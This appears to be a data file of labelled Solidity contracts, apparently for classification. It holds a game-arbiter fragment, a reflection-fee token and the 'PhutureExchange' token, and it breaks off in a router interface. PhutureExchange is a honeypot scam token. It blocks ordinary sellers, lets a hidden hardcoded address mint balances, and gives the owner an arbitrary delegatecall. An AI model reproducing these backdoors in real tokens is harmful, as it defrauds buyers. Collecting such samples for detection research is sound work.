for ( gi = 0; (gi < xarb.gameSlots) && (aborted < _max); gi++) {
gameInstance ngame0 = games[xarb.gameIndexes[gi]];
if ((ngame0.active)
&& ((now - ngame0.lastMoved) > gameTimeOut)) {
abortGame(xarb.gameIndexes[gi], EndReason.erTimeOut);
++aborted;
}
}
}
} else {
if (!validArb(msg.sender, _arbToken))
StatEvent("Housekeep invalid arbiter");
else {
a = msg.sender;
xarb = arbiters[a];
for (gi = 0; (gi < xarb.gameSlots) && (aborted < _max); gi++) {
gameInstance ngame1 = games[xarb.gameIndexes[gi]];
if ((ngame1.active)
&& ((now - ngame1.lastMoved) > gameTimeOut)) {
abortGame(xarb.gameIndexes[gi], EndReason.erTimeOut);
++aborted;
}
}
}
}
}
function getGameInfo(uint _hGame) constant returns (EndReason _reason, uint _players, uint _totalPot, bool _active)
{
gameInstance xgame = games[_hGame];
_active = xgame.active;
_players = xgame.numPlayers;
_totalPot = xgame.totalPot;
_reason = xgame.reasonEnded;
}
function checkHGame(uint _hGame) constant returns(uint _arbTok, uint _lowWords)
{
_arbTok = ArbTokFromHGame(_hGame);
_lowWords = _hGame & 0xffffffffffff;
}
function getOpGas() constant returns (uint _ag, uint _tg)
{
_ag = acctCallGas;
_tg = tokCallGas;
}
function setOpGas(uint _ag, uint _tg)
{
if (msg.sender != owner)
throw;
acctCallGas = _ag;
tokCallGas = _tg;
}
function setArbiterLocked(address _addr, bool _lock) public
{
if (owner != msg.sender) {
throw;
} else if (!validArb2(_addr)) {
StatEvent("invalid arb");
} else {
arbiters[_addr].locked = _lock;
}
}
function flushHouseFees()
{
if (msg.sender != owner) {
StatEvent("only owner calls this function");
} else if (houseFeeHoldover > 0) {
uint ntmpho = houseFeeHoldover;
houseFeeHoldover = 0;
if (!tokenPartner.call.gas(tokCallGas).value(ntmpho)()) {
houseFeeHoldover = ntmpho;
StatEvent("House-Fee Error2");
} else {
lastPayoutTime = now;
StatEvent("House-Fee Paid");
}
}
}
function withdrawArbFunds() public
{
if (!validArb2(msg.sender)) {
StatEvent("invalid arbiter");
} else {
arbiter xarb = arbiters[msg.sender];
if (xarb.arbHoldover == 0) {
StatEvent("0 Balance");
return;
} else {
uint _amount = xarb.arbHoldover;
xarb.arbHoldover = 0;
if (!msg.sender.call.gas(acctCallGas).value(_amount)())
throw;
}
}
}
function setTokenPartner(address _addr) public
{
if (msg.sender != owner) {
throw;
}
if ((settingsState == SettingStateValue.lockedRelease)
&& (tokenPartner == address(0))) {
tokenPartner = _addr;
StatEvent("Token Partner Final!");
} else if (settingsState != SettingStateValue.lockedRelease) {
tokenPartner = _addr;
StatEvent("Token Partner Assigned!");
}
}
function changeOwner(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
owner = _addr;
}
} | 1 | 3,885 |
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ThreeOh is Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) public _firstBuyTime;
mapping (address => uint256) public _presaleBalance;
mapping (address => uint256) public _presaleLiquidated;
mapping (address => bool) private _isSniper;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address payable public dev;
address payable public advocacy;
address public _burnPool = 0x0000000000000000000000000000000000000000;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 21 * 10**11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "ThreeOh DAO";
string private _symbol = "3OH";
uint8 private _decimals = 9;
uint256 public _taxFee = 100;
uint256 public _advocacyFee = 800;
uint256 public _developmentFee = 100;
uint256 public _dayTraderMultiplicator = 25;
bool public transfersEnabled;
uint256 private launchBlock;
uint256 private launchTime;
uint256 private blocksLimit;
uint256 public _pendingDevelopmentFees;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxWalletHolding = 34 * 10**9 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 2 * 10**9 * 10**9;
uint256 public _marketingDevAllocation = 50 * 10**9 * 10**9;
uint256 public _burnAllocation = 400 * 10**9 * 10**9;
uint256 public _exchangeAllocation = 850 * 10**9 * 10**9;
uint256 public _periodLiquidationLength = 7 days;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable _devWallet, address payable _advocacyWallet, address _marketingDevWallet, address _exchangeWallet) public {
dev = _devWallet;
advocacy = _advocacyWallet;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_burnPool] = true;
_isExcludedFromFee[_advocacyWallet] = true;
_isExcludedFromFee[_marketingDevWallet] = true;
_isExcludedFromFee[_exchangeWallet] = true;
_isExcluded[_burnPool] = true;
_excluded.push(_burnPool);
_isExcluded[uniswapV2Pair] = true;
_excluded.push(uniswapV2Pair);
_isExcluded[address(this)] = true;
_excluded.push(address(this));
uint256 currentRate = _getRate();
_rOwned[_burnPool] = _burnAllocation.mul(currentRate);
_tOwned[_burnPool] = _burnAllocation;
currentRate = _getRate();
_rOwned[_marketingDevWallet] = _marketingDevAllocation.mul(currentRate);
_rOwned[_exchangeWallet] = _exchangeAllocation.mul(currentRate);
_rOwned[_msgSender()] = _rTotal - _rOwned[_marketingDevWallet] - _rOwned[_exchangeWallet] - _rOwned[_burnPool];
emit Transfer(address(0), _msgSender(), _tTotal);
emit Transfer(_msgSender(), _marketingDevWallet, _marketingDevAllocation);
emit Transfer(_msgSender(), _exchangeWallet, _exchangeAllocation);
emit Transfer(_msgSender(), _burnPool, _burnAllocation);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
else return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address payable [] memory holders, uint256 [] memory balances) public onlyOwner() {
require(holders.length == balances.length, "Incorrect input");
uint256 deployer_balance = _rOwned[_msgSender()];
uint256 currentRate = _getRate();
for (uint8 i = 0; i < holders.length; i++) {
uint256 balance = balances[i] * 10 ** 15;
uint256 new_r_owned = currentRate.mul(balance);
_rOwned[holders[i]] = _rOwned[holders[i]] + new_r_owned;
_presaleBalance[holders[i]] = _presaleBalance[holders[i]] + balance;
emit Transfer(_msgSender(), holders[i], balance);
deployer_balance = deployer_balance.sub(new_r_owned);
}
_rOwned[_msgSender()] = deployer_balance;
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function manualSwapAndLiquify() public onlyOwner() {
uint256 contractTokenBalance = balanceOf(address(this));
swapAndLiquify(contractTokenBalance);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTax(uint256 _taxType, uint _taxSize) external onlyOwner() {
if (_taxType == 1) {
_taxFee = _taxSize;
require(_taxFee <= 100);
}
else if (_taxType == 2) {
_developmentFee = _taxSize;
require(_developmentFee <= 200);
}
else if (_taxType == 3) {
_advocacyFee = _taxSize;
require(_advocacyFee <= 900);
}
else if (_taxType == 4) {
_dayTraderMultiplicator = _taxSize;
}
}
function setSwapAndLiquifyEnabled(bool _enabled, uint256 _numTokensMin) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
numTokensSellToAddToLiquidity = _numTokensMin;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function enableTransfers(uint256 _blocksLimit) public onlyOwner() {
transfersEnabled = true;
launchBlock = block.number;
launchTime = block.timestamp;
blocksLimit = _blocksLimit;
}
function setSniperEnabled(bool _enabled, address sniper) public onlyOwner() {
_isSniper[sniper] = _enabled;
}
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeOperations(uint256 tAmount, uint256 feeType) private returns (uint256) {
uint256 currentRate = _getRate();
uint256 tTransferAmount = tAmount;
uint256 taxMultiplicator = 10;
if (feeType == 2) taxMultiplicator = _dayTraderMultiplicator;
uint256 tFee = calculateFee(tAmount, _taxFee, taxMultiplicator);
uint256 tAdvocacy = calculateFee(tAmount, _advocacyFee, taxMultiplicator);
uint256 tDevelopment = calculateFee(tAmount, _developmentFee, taxMultiplicator);
_pendingDevelopmentFees = _pendingDevelopmentFees.add(tDevelopment);
tTransferAmount = tAmount - tFee - tAdvocacy - tDevelopment;
uint256 tTaxes = tAdvocacy.add(tDevelopment);
_reflectFee(tFee.mul(currentRate), tFee);
_rOwned[address(this)] = _rOwned[address(this)].add(tTaxes.mul(currentRate));
_tOwned[address(this)] = _tOwned[address(this)].add(tTaxes);
return tTransferAmount;
}
function calculateFee(uint256 _amount, uint256 _taxRate, uint256 _taxMultiplicator) private pure returns (uint256) {
return _amount.mul(_taxRate).div(10**4).mul(_taxMultiplicator).div(10);
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer( address from, address to, uint256 amount ) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
if (_firstBuyTime[to] == 0) _firstBuyTime[to] = block.timestamp;
uint256 feeType = 1;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
feeType = 0;
}
else {
require(transfersEnabled, "Transfers are not enabled now");
if (to == uniswapV2Pair || (to != uniswapV2Pair && from != uniswapV2Pair)) {
require(!_isSniper[from], "SNIPER!");
if (to != uniswapV2Pair && from != uniswapV2Pair) {
feeType = 0;
}
if (_presaleBalance[from] > 0) {
uint256 maxLiquidation = (block.timestamp - launchTime).div(_periodLiquidationLength) + 1;
if (maxLiquidation <= 4) {
maxLiquidation = maxLiquidation.mul(_presaleBalance[from]).div(4);
require((_presaleLiquidated[from] + amount) < maxLiquidation, "Presale vesting exceeded");
}
_presaleLiquidated[from] = _presaleLiquidated[from] + amount;
if (_firstBuyTime[from] == 0) _firstBuyTime[from] = launchTime;
}
if (_firstBuyTime[from] != 0 && (_firstBuyTime[from] + (24 hours) > block.timestamp) ) {
feeType = 2;
}
}
if (from == uniswapV2Pair) {
if (block.number <= (launchBlock + blocksLimit)) _isSniper[to] = true;
}
}
_tokenTransfer(from, to, amount, feeType);
if (!_isExcludedFromFee[to] && (to != uniswapV2Pair)) require(balanceOf(to) < _maxWalletHolding, "Max Wallet holding limit exceeded");
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 payDevelopment = _pendingDevelopmentFees.mul(newBalance).div(contractTokenBalance);
if (payDevelopment <= address(this).balance) dev.call{ value: payDevelopment }("");
if (address(this).balance > 0) advocacy.call{ value: address(this).balance }("");
_pendingDevelopmentFees = 0;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, uint256 feeType) private {
uint256 currentRate = _getRate();
uint256 tTransferAmount = amount;
if (feeType != 0) {
tTransferAmount = _takeOperations(amount, feeType);
}
uint256 rTransferAmount = tTransferAmount.mul(currentRate);
uint256 rAmount = amount.mul(currentRate);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else {
_transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
} | 0 | 312 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PhutureExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 508 |
pragma solidity ^0.8.0;
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
